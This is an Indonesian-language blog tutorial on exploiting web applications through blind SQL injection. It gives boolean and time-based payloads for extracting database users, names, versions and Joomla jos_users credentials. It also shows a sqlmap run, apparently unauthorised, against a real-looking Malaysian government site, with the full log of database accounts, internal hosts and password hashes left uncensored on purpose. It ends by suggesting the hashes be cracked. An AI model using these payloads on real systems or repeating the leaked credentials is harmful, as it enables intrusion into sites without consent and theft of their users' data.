Rabu, 09 Juni 2010

teknik eksploitasi webaplication dengan blind sql injection

teknik eksploitasi webaplication dengan blind sql injection

Posting sebelumnya tentang Normal SQL Injection yaitu teknik megeksploitasi aplikasi web yang memanfaatkan error message yang dihasilkan oleh sql server dikarenakan kesalahan sintaks dalam melakukan query, tapi beberapa developer web mematikan pesan error kepada pengunjung ketika terjadi kesalahan sintaks untuk meminimalisir para attacker yang ingin mengeksploitasi web-nya, hal semacam ini bisa kita atasi dengan melakukan Blind SQL Injection. Blind SQL Injection tidak bergantung pada pesan error yang dihasilkan, tapi dengan memanfaatkan kondisi “True” atau “False”.Untuk mengetahui apakah aplikasi tersebut vulnerable atau tidak digunakan klausa and 1=1, sebagai contoh :

http://sibuta.com/items.php?id=2

menjadi,

http://sibuta.com/items.php?id=2 and 1=1

apakah halaman tersebut sama dengan halaman sebelumnya (http://sibuta.com/items.php?id=2) maka kondisi “true”

blind sql injection 1

jika kita melakukan query seperti ini :

http://sibuta.com/items.php?id=2 and 1=2

dan tidak muncul apa-apa maka kondisi “false”

blind sql injection 2

setelah yakin target yang anda dapatkan kita lanjutkan dengan mengidentifikasi user database, nama database yang digunakan, dan versi database yang digunakan. Untuk mengetahui user database kita menggunakan command mid() dan seperti biasa, kita bermain tebak-tebakan sampai kita menemukan semua karakter yang kita tebak.

http://sibuta.com/items.php?id=2+and+mid(user(),1,1)=

CHAR(97)

saya mulai dengan menebak karakter pertama “user(),1,1″ yaitu “a” dengan nilai ascii 97, dan ternyata hasilnya “false” lalu saya tingkatkan angka 97 menjadi 98 hingga kondisi “true” dan akhirnya saya menemukan karakter pertama dari user database “w” dengan nilai ascii 119.

Lanjutkan dengan karakter ke dua dengan mengganti angka 1 pada baris ke dua pada klausa mid() hingga seperti ini

http://sibuta.com/items.php?id=2+and+mid(user(),1,2)=

CHAR(97,97)

dan saya tebak dimulai dari karakter a dengan nilai ascii 97, dan teruslah tebak hingga kondisi false, hingga saya menemukan kesemua karakternya

http://sibuta.com/items.php?id=2+and+mid(user(),1,15)=

CHAR(119,111,114,108,100,102,114,49,95,106,111,49,53,
49,64)

dan kita konversi nilai ascii tersebut menjadi char, dan anda akan mendapatkan user dari database yang digunakan, selanjutnya kita akan cari nama databse yang digunakan dengan fungsi database(), langka-langkah sama seperti di atas, hanya saja fungsi user() diganti dengan database(), hingga seperti ini.

http://sibuta.com/items.php?id=2+and+mid(database(),

1,1)=CHAR(97)

cariiii teruuuuusssss,,,,,,,,,,,,,, :P
setelah selesai anda menemukan nama database, dilanjutkan dengan versi database yang digunakan si server seperti ini.

http://sibuta.com/items.php?id=2+and+substring(@@versio

n,1,1)=5

jika kondisi “true” maka versi mySQL yang digunakan versi 5, dan bila “false” coba anda ganti angka lima menjadi 4 jika “true” database yang digunakan adalah versi 4. Setelah itu kita cari tahu berapa column yang terdapat di database dan column mana yang bisa kita injeksi.

http://sibuta.com/items.php?id=2+union+select+1–

jika kondisi “false” atau ada pesan error jumlah kolom bukan satu, terus tambahkan angka berikutnya hingga kondisi “true” sebagai contoh saya tebak columnya hingga 13.

blind sql injection 3

Jika kita belum tabel mana yang mengandung username dan password pada mysql versi 5 maka kita harus mengetahui informasi isi database, di information_schema seperti pada posting SQL Injection Vulnerability sebelumnya. Dibawah ini contoh injeksi pada komponen com_juser.

http://sibuta.com/index.php?option=com_juser&task=show_profile

&id=1+and+1=2+union+select+1,2,concat(username,
0x3a,password),4,5,6,7,8,9,10,11,12,13+from+
jos_users–

blind sql injection 4

jika gagal dalam mencuri informasi di information_schema, langkah selanjutnya seperti biasa,, tebak-tebakan nama tabelnya hahahaaa :) . Diatas kebetulan target menggunakan engine Joomla entah versi berapa, yang saya ketahui tabel yang mengandung informasi username dan password ada di jos_users (default).

Jika gagal tidak seperti harapan, :( .. tenang masih ada 1001 satu jalan…kita uji delay waktu yang dibutuhkan untuk menyelesaikan satu operasi jika kondisi “true”.

BENCHMARK(5000000,ENCODE(‘MSG’,’5detik’))

statement di atas akan menyelesaikan fungsi ENCODE dengan waktu sekitar 5 detik jika kondisi “True” waktu operasi juga tergantung performa server. Dengan memanfaatkan fungsi BENCHMARK dan ENCODE kita coba melakukan injeksi untuk mendapatkan username dan password ke tabel user seperti di bawah ini :

http://sibuta.com/items.php?id=2+and+1=2+union+SELECT+1,2,3,4,

IF(SUBSTRING(password,1,1)=CHAR(97),BENCHMARK(5000000,ENCODE(‘
MSG’,'by5sec’)),null),6,7,8,9,10,11,12,13+FROM+user–

Jika server terjadi jeda respone beberapa waktu lebih dari 5 detik maka statement diatas bernilai “true”, karakter pertama kolom password adalah “a” nilai ascii 97, dan lanjutkan hingga semua karakter yang ada di dalam database terlihat walaupun tidak ada pesan error di tampilan web.

Database lain selain MySQL juga terdapat fungsi yang mendukung timing attack:

MS SQL ‘WAIT FOR DELAY ‘0:0:10
dan PostgreSQL – pg_sleep()

Selamat bermain tebak-tebakan hahahaaaa, i Lov U fulll,, hahahaa,,,

orangila : gue capek nieh maen tebak-tebakan, ada yang lebih mantep gak buat blind SQL Injection.
Answer : ada, pakek sqlmap
orangila : jiaah, knape gak dari tadi ,,,!!! :(

untuk melakukan Automate Blind SQL Injection kita mempergunakan tools buatan Bernardo Damele A. G. Penggunaannya sangat mudah sekali, cari target, atau kita juga pergunakan opsi dari sqlmap.py dengan bantuan google untuk mencari target tentukan opsi –users dan –password jika anda ingin mengintip username dan password di databse, lalu tunggu sambil ongkang-ongkang kaki aja, atau donlod video mesum yang mukanya kaya lobang buaya..,seperti dibawah ini contohnya.

root@slacker:~/# ./sqlmap.py -u http://www.cidb.gov.my/cidb/news_details.php?newsid=88 –users –passwords –proxy=http://101.144.0.20:3128

sqlmap/0.7
by Bernardo Damele A. G.

[*] starting at: 13:40:36

[13:40:36] [INFO] testing connection to the target url
[13:40:49] [INFO] testing if the url is stable, wait a few seconds
[13:40:57] [INFO] url is stable
[13:40:57] [INFO] testing if User-Agent parameter ‘User-Agent’ is dynamic
[13:41:00] [WARNING] User-Agent parameter ‘User-Agent’ is not dynamic
[13:41:00] [INFO] testing if Cookie parameter ‘PHPSESSID’ is dynamic
[13:41:05] [WARNING] Cookie parameter ‘PHPSESSID’ is not dynamic
[13:41:05] [INFO] testing if GET parameter ‘newsid’ is dynamic
[13:41:07] [INFO] confirming that GET parameter ‘newsid’ is dynamic
[13:41:10] [INFO] GET parameter ‘newsid’ is dynamic
[13:41:10] [INFO] testing sql injection on GET parameter ‘newsid’ with 0 parenthesis
[13:41:10] [INFO] testing unescaped numeric injection on GET parameter ‘newsid’
[13:41:17] [INFO] confirming unescaped numeric injection on GET parameter ‘newsid’
[13:41:18] [INFO] GET parameter ‘newsid’ is unescaped numeric injectable with 0 parenthesis
[13:41:18] [INFO] testing for parenthesis on injectable parameter
[13:41:21] [INFO] the injectable parameter requires 0 parenthesis
[13:41:21] [INFO] testing MySQL
[13:41:25] [INFO] confirming MySQL
[13:41:28] [INFO] retrieved: 1
[13:41:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL >= 5.0.0

[13:41:49] [INFO] fetching database users
[13:41:49] [INFO] fetching number of database users
[13:41:49] [INFO] retrieved: 13
[13:42:20] [INFO] retrieved: ‘root’@’localhost’
[13:51:25] [INFO] retrieved: ‘root’@’mario’
[13:57:33] [INFO] retrieved: ‘vip’@’202.190.73.12′
[14:04:45] [INFO] retrieved: ‘vip’@’202.190.73.11′
[14:11:05] [INFO] retrieved: ‘vip’@’luigi’
[14:15:17] [INFO] retrieved: ‘vip’@’localhost’
[14:23:01] [INFO] retrieved: ‘vip’@’mario’
[14:26:08] [INFO] retrieved: ‘web’@’localhost’
[14:29:10] [INFO] retrieved: ‘root’@’localhost.localdomain’
[14:34:17] [INFO] retrieved: ‘root’@’luigi’
[14:38:31] [INFO] retrieved: ”@’localhost’
[14:40:37] [INFO] retrieved: ”@’localhost.localdomain’
[14:45:09] [INFO] retrieved: ‘vip’@’%’
database management system users [13]:
[*] ”@’localhost’
[*] ”@’localhost.localdomain’
[*] ‘root’@’localhost’
[*] ‘root’@’localhost.localdomain’
[*] ‘root’@’luigi’
[*] ‘root’@’mario’
[*] ‘vip’@’%’
[*] ‘vip’@’202.190.73.11′
[*] ‘vip’@’202.190.73.12′
[*] ‘vip’@’localhost’
[*] ‘vip’@’luigi’
[*] ‘vip’@’mario’
[*] ‘web’@’localhost’

[14:46:56] [INFO] fetching database users password hashes
[14:46:56] [INFO] fetching number of password hashes for user ‘root’
[14:46:56] [INFO] retrieved: 2
[14:47:06] [INFO] fetching password hashes for user ‘root’
[14:47:06] [INFO] retrieved: 44aa67b452efd430
[14:51:26] [INFO] retrieved:
[14:51:37] [INFO] fetching number of password hashes for user ‘vip’
[14:51:37] [INFO] retrieved: 1
[14:51:44] [INFO] fetching password hashes for user ‘vip’
[14:51:44] [INFO] retrieved: 44aa67b452efd430
[14:56:33] [INFO] fetching number of password hashes for user ‘web’
[14:56:33] [INFO] retrieved: 1
[14:56:47] [INFO] fetching password hashes for user ‘web’
[14:56:47] [INFO] retrieved: [14:58:04] [WARNING] connection timed out to the target url or proxy, sqlmap is going to retry the request
5[14:58:50] [WARNING] connection timed out to the target url or proxy, sqlmap is going to retry the request
0[14:59:45] [WARNING] unable to connect to the target url or proxy, sqlmap is going to retry the request
71ec32d2fb016
[15:03:25] [INFO] fetching number of password hashes for user ”
[15:03:25] [INFO] retrieved:
[15:03:27] [WARNING] unable to retrieve the number of password hashes for user ”
[15:03:27] [INFO] fetching number of password hashes for user ”
[15:03:27] [INFO] retrieved:
[15:03:28] [WARNING] unable to retrieve the number of password hashes for user ”
database management system users password hashes:
[*] root [2]:
password hash: 44aa67b452efd430 password hash: NULL [*] vip [1]:
password hash: 44aa67b452efd430 [*] web [1]:
password hash: 50 71ec32d2fb016

[15:03:28] [INFO] Fetched data logged to text files under ‘/mnt/sda/research/blindsqli/sqlmap-0.7/output/www.cidb.gov.my’

[*] shutting down at: 15:03:28

root@slacker:~/#

untuk situs malaysia gak usah sensor-sensoran lah :) .. tinggal di crack passwordnya pakek john the ripper atawa rainbow crack… any question ???.. sory buat indra owner web loe buat percobaan, tapi gak ada yang rusak kok,,tenang :P